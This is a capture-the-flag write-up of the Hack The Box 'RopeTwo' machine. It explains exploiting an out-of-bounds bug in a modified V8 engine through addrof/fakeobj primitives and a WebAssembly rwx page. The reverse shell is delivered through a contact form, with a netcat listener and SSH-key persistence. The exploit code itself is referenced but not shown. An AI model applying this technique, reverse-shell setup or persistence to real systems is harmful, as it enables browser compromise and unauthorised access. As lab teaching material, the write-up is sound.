Secrets of V8 Engine. Dissecting Chrome on a Hack The Box virtual machine

Intelligence collection

As usual, I start with scanning the ports. Needless to say that on such a high-level VM, all ports must be scanned (TCP + UDP 1-65 535). The best way to do this is use a fast port scanner called masscan.

As you can see, only five TCP ports are open. Let’s scan them thoroughly with Nmap.

Hmm… SSH, three web servers, and an unknown port. Let’s see what the browser says.

Expectedly, GitLab is running on port 5000 (as the Nmap report states).

On port 8000, a Python Werkzeug (WSGI) web server runs a simple V8 development site. As you are likely aware, V8 is Google’s open-source JavaScript engine used in the Chrome browser and other projects. More details are available on its official website.

I scroll the page down and see the link http://gitlab.rope2.htb:5000/root/v8 to the source code.

The 404 Not Found message is displayed on port 8060. Port 9094 refuses to answer my requests.

Let’s add the found domain to /etc/hosts, as always:

Foothold

Since I am offered to examine the source code, I gladly use this opportunity.

I see the V8 source code and a separate branch created by the author of the VM: it contains one commit with minor changes. Apparently, these changes are supposed to help me. Only four files have been altered; so, let’s take a closer look at them.

Two functions have been added to the headers file: ArrayGetLastElement andArraySetLastElement. Both of them are intended for work with data arrays. CPP is a macro that adds these functions to the metadata array.

Installing the GetLastElement and SetLastElement prototypes as built-in functions.

Defining function calls.

This the most interesting part: source code of the functions. The GetLastElement function converts an array into FixedDoubleArray and returns its last element: array[length]. The SetLastElement function writes the received value to the last element of array[length] with the float type. Now you can try to guess what’s the catch.

Since I am not an expert in the V8 engine, I had to look for help on the Internet. Using key expressions from the above source code, I quickly found an excellent writeup by Faraz Abrar: Exploiting v8: *CTF 2019 oob-v8; the altered commit in it is almost identical to the one found on RopeTwo.

To bad, my hopes of an easy victory quickly faded. Since the writeup describes the process in detail, I will just briefly list the key points and specify the main differences between the two cases.

The main difference between the commits is that in the writeup, only one function is responsible for reading and writing elements to the array. This function performs reading or writing operations depending on the number of variables passed to it.

However, both commits contain the same vulnerability. Have you guessed it already? Since the array indexing starts with 0, array [length] makes it possible to read and write one element outside of the array boundaries. Now I have to figure out how to exploit this feature.

Deploying test system

First, I download the diff file.

I rename it into v8.diff and add an extra line break in the end to avoid errors in git apply.

Then I execute the following commands (the test system is running on Ubuntu 19.04):

Important: the compilation of each release may take a few hours!

Writing exploit

First of all, I have to ‘leak the array address. For this purpose, I am going to write a script based on Faraz’s writeup. The idea is to replace the obj_array_map pointer of obj_array with the float_array_map pointer of float_array because the Map structures are different in these two objects.

The exploitation is based on the following concept: a request for the zero index in float_array returns the value of an array element, while a request for the zero index inobj_array returns a pointer to an object (that is subsequently converted into a value). So, if you substitute the Map structure in obj_array with the Map structure from float_array and address the zero index, you’ll get not the value of the array element, but an object pointer in the float type! The detected vulnerability allows to substitute Map because it’s located right behind the array elements in the JSArray structure.

I run the script and get… the SEGV_ACCERR error message:

The --allow-natives-syntax key allows to execute the %DebugPrint() function that displays debugging information for V8 objects.

At some point, I start wondering what happens if I replace the diff file from the HTB machine with oob.diff. If you want to repeat my experiment, create a clone of the RopeTwo VM and run the following commands:

But prior to doing so, you have to make the following changes in oob.diff because in the new version, the structure and content of the files are slightly different.

diff --git a/src/init/bootstrapper.cc b/src/init/bootstrapper.cc

diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.h

Also, in diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc, you have to change length()->Number() into length().Number():

Expectedly, after changing names of functions in the script to oob and running it, I got the same result. This means that the V8 engine itself has been altered.

It must be noted that the OOB exploit uses V8 version 7.5.0, while the RopeTwo VM – V8 version 8.5.0. Accordingly, you cannot simply run this exploit and get the much-desired shell.

To solve this problem, I had to read tons of documentation. Finally, I came to an understanding: in the new version of V8, pointer compression is implemented differently.

More information on this will be provided below. For now, it’s sufficient to understand that the elements of float_array in the new version are 64-bit, while the elements of obj_array are 32-bit. Therefore, to make the array sizes match, I have to add one more element to obj_array.

So, I change var obj_arr = [obj]; into var obj_arr = [obj, obj];

There are no more Segmentation Fault messages, but the addresses don’t match. And you know why? Because, by adding one more element to the array, I changed its size, and the SetLastElement function writes the value to a wrong place (as you remember, I need to replace the pointer with the Map object located in the memory right after the array elements).

Fortunately, this can be fixed by adding the following line: obj_arr.length = 1;.

Bingo! Now the 32 least-significant bits match! The most-significant bits don’t match – as said above, this is due to the pointer compression.

With your kind permission, I won’t explain here what is pointer compression: for detailed information, see another article by Faraz Abrar.

The scheme below shows how an array of objects and an array of floats are represented in the memory.

This mechanism (i.e. pointer compression) boosts the performance of the V8 engine. The 32 most-significant bits in the heap always remain the same at each start of the engine. Therefore, the developers decided that it makes no sense to use 64-bit pointers since it’s just waste of resources and introduced the so-called isolate root: the 32 most-significant bits of the address that are always the same are stored in the R13 register (the root register). Therefore, to get the correct 64-bit address, you in theory have to query the 32 most-significant bits in R13. But in fact, this isn’t necessary.

There is a way to get out of the 32-bit heap space: you create an ArrayBuffer object and overwrite its backing_store pointer. This pointer is allocated by the PartitionAlloc function that works with nonheap addresses. Therefore, using a DataView object with the overwritten backing_store pointer, you can get an arbitrary reading and writing primitive!

If you invert the logic of the addrof function (i.e. swap the object array and the float array), you will get the fakeobj function that can be used to read arbitrary memory addresses and write data to them:

Let’s combine this listing with the above code and see what happens.

Running the script with debugger.

Pointer tagging is a mechanism used in V8 to distinguish between the double, SMI (small integer), and pointer types. Because of the alignment, pointers usually point to memory locations multiple of 4 and 8, which means that the last 2-3 bits are always zero. V8 uses this feature: the last bit is set to 1 to indicate a pointer. Therefore, to get the original address, you have to subtract one from the tagged address.

Let’s try to write the second element (i.e. pointer to elements) and read it:

Too bad, another Segmentation Fault message…

I had played with the debugger until the new pointer size came to my mind. The float array is 64-bit; therefore, when the array map is replaced, the second element of the 32-bit obj array appears in place of the first element in the float array. Accordingly, if you write the address to the first index of the float array, you will get a reference to elements of the obj array.

So, all you have to do is replace crafted_arr[2] with crafted_arr[1] – and everything will work fine. To read the value of the zero element in the fake array, you must change the offset of the elements from 0x10 to 0x08 (because the pointer is now 32-bit). Let’s try this approach.

Below is a brief explanation of how it works. Let’s create a float array and examine its debugging information. To get a detailed output of %DebugPrint(), including information on addresses, I use the debug V8 engine release.

As you can see, the offset of the elements from the beginning of the JSArray structure is 0x28:

Let’s examine the array elements that are located in the memory before the JSArray structure:

The zero element of the array is located at the following address:

Assume, for instance, that fake_object is located at 0x274a080c5e30. If you replace float_arr_map in fake_object with obj_arr_map (the properties field will be overwritten, but this isn’t critical), the index of the crafted_arr array will contain a pointer to the elements of fake_object because the pointers are 32-bit, while elements of the float array are 64-bit. Accordingly, if you address fake_object[0], you will read the value at the address that you have written to the first index of crafted_arr.

The scheme below illustrates this concept.

Now you can write and read arbitrary addresses using auxiliary functions (I won’t describe them here, see the full exploit listing with comments at the end of the article).

However, it’s necessary to find a memory area where I can execute my code (rwx). Such an area exists, and the WebAssembly module interacts with it.

WebAssembly (Wasm) is a secure and efficient low-level binary instruction format for the web. A stack-based virtual machine executing instructions in the Wasm binary format can be launched either in the browser environment or in the server environment. Wasm code is a transferable abstract syntactic tree, which ensures faster analysis and more efficient execution in comparison with JavaScript.

I assemble the exploit taking into account all the above-described changes and… get another Segmentation Fault message.

In current implementations of the engine, the rwx area is always located at the same offset from WasmInstanceObject. In version 7.5.0, this offset was 0x87. Now I have to find out what is the offset in version 8.5.0. So, I write a simple wasm.js script with a wasmInstance object and run it in the debugger:

As you can see, the address of WasmInstanceObject is 0x2f1108250375. I locate the script and its PID on the list of processes (ps aux | grep wasm.js) and look for rwx areas in its memory map:

Success! The rwx address is 0xb444a6ea000. Now I have to find out the address of the pointer that points to this area. For this purpose, I use the following pwndbg command:

The address of the pointer is 0x2f11082503dc. Calculating the offset:

I insert the computed offset into my script. But there is one more pointer whose offset has changed: backing_store.

To find it, I have to run the debug release of the V8 engine in the debugger one more time:

As you can see, backing_store: 0x5555556f2e80. This allows to calculate the offset (shown below in the red frame). Important: don’t forget about little endian!

So, the offset is 0x14.

Apparently, this is it! Time to try the exploit. I prepare the test payload using the msfvenom utility. And it displays the string: PWNED!.

Below is the final exploit code with comments:

Running the test exploit:

It’s working!

And the last step is to figure out how to run it on a remote host.

The only interactive element on the website is the feedback form at http://rope2.htb:8000/contact. Since V8 is a JS engine, I have to find a way to feed my JavaScript to it. So, I launch an HTTP server (python -m http.server 8070) and enter in all fields of the form:

Success! I get a request from the server. After some experimentation, I find out that the Message field triggers the script execution.

I generate a combat payload containing the reverse shell and insert it into the script.

I put the script into the folder from where my web server has been launched, run netcat (nc -lnvp 7090), and send the form with the script request in the Message field.

Finally, I have got a shell!

To automate the process, I write a few strings in bash; the resultant file should be put into the folder containing the script.

Too bad, the session lasts no more than a minute; apparently, a timeout is triggered on the server. To get a stable shell, you have to add your SSH key to chromeuser:

Hopefully, the article was interesting to read and useful for practical purposes!